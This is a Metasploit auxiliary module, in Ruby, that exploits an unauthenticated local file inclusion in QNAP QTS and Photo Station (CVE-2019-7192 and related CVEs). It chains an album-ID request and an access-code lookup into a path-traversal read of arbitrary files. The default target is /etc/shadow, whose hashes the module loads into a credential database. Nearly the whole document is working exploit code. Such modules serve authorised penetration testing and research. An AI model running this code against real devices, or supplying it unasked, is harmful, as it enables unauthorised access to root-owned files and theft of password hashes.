This Metasploit module exploits a local file inclusion in QNAP QTS and Photo Station that allows an unauthenticated attacker to download files from the QNAP filesystem. Because the HTTP server runs as root, it is possible to access sensitive files, such as SSH private keys and password hashes. This Metasploit module has been tested on QTS 4.3.3 (unknown Photo Station version) and QTS 4.3.6 with Photo Station 5.7.9.
70107b0adbe195b76131c10cdea4a24c8ea076a3a1b93c6596908a86f7bcd91a
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'QNAP QTS and Photo Station Local File Inclusion',
'Description' => %q{
This module exploits a local file inclusion in QNAP QTS and Photo
Station that allows an unauthenticated attacker to download files from
the QNAP filesystem.
Because the HTTP server runs as root, it is possible to access
sensitive files, such as SSH private keys and password hashes.
This module has been tested on QTS 4.3.3 (unknown Photo Station
version) and QTS 4.3.6 with Photo Station 5.7.9.
},
'Author' => [
'Henry Huang', # Vulnerability discovery
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # MSF module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-7192'],
['CVE', '2019-7194'],
['CVE', '2019-7195'],
['EDB', '48531'],
['URL', 'https://infosecwriteups.com/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05'],
['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201911-25'],
['URL', 'https://github.com/Imanfeng/QNAP-NAS-RCE']
],
'DisclosureDate' => '2019-11-25', # Vendor advisory
'Actions' => [
['Download', { 'Description' => 'Download the file at FILEPATH' }]
],
'DefaultAction' => 'Download',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The URI of the QNAP Website', '/']),
OptString.new('FILEPATH', [true, 'The file to read on the target', '/etc/shadow']),
OptBool.new('PRINT', [true, 'Whether or not to print the content of the file', true]),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 3])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'authLogin.cgi')
)
unless res && res.code == 200 && (xml = res.get_xml_document)
return Exploit::CheckCode::Safe
end
info = %w[modelName version build patch].map do |node|
xml.at("//#{node}").text
end
vprint_status("QNAP #{info[0]} #{info[1..].join('-')} detected")
return Exploit::CheckCode::Appears if info[2].to_i < 20191206
Exploit::CheckCode::Detected
end
def run
if check == Exploit::CheckCode::Safe
print_error('Device does not appear to be a QNAP')
return
end
file_content = exploit_lfi(datastore['FILEPATH'])
if file_content.nil? || file_content.empty?
print_bad('Failed to perform Local File Inclusion')
return
end
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'qnap.http',
'text/plain',
datastore['RHOST'],
file_content,
fname
)
print_good("File download successful, saved in #{path}")
print_good("File content:\n#{file_content}") if datastore['PRINT']
return unless datastore['FILEPATH'] == '/etc/shadow'
print_status('adding the /etc/shadow entries to the database')
file_content.lines.each do |line|
entries = line.split(':')
next if entries[1] == '*' || entries[1] == '!' || entries[1] == '!!'
credential_data = {
module_fullname: fullname,
workspace_id: myworkspace_id,
username: entries[0],
private_data: entries[1],
jtr_format: 'md5crypt',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential(credential_data)
end
end
def exploit_lfi(file_path)
album_id, cookies = retrieve_album_id
unless album_id
print_bad('Failed to retrieve the Album Id')
return
end
print_good("Got Album Id : #{album_id}")
access_code = retrieve_access_code(album_id, cookies)
unless access_code
print_bad('Failed to retrieve the Access Code')
return
end
print_good("Got Access Code : #{access_code}")
print_status('Attempting Local File Inclusion')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'video.php'),
'method' => 'POST',
'cookie' => cookies,
'vars_post' => {
'album' => album_id,
'a' => 'caption',
'ac' => access_code,
'filename' => ".#{file_path.start_with?('/') ? '/..' * datastore['DEPTH'] + file_path : "/#{file_path}"}"
}
})
return unless res && res.code == 200
res.body
end
def retrieve_album_id
print_status('Getting the Album Id')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'album.php'),
'method' => 'POST',
'vars_post' => {
'a' => 'setSlideshow',
'f' => 'qsamplealbum'
}
})
return unless res && res.code == 200
xml_data = res.get_xml_document
output = xml_data.xpath('//output[1]')
return if output.empty?
[output.inner_text, res.get_cookies]
end
def retrieve_access_code(album_id, cookies)
print_status('Getting the Access Code')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'photo', 'slideshow.php'),
'vars_get' => { 'album' => album_id },
'cookie' => cookies
})
return unless res && res.code == 200
res.body[/(?<=encodeURIComponent\(["']).+(?=['"])/]
end
end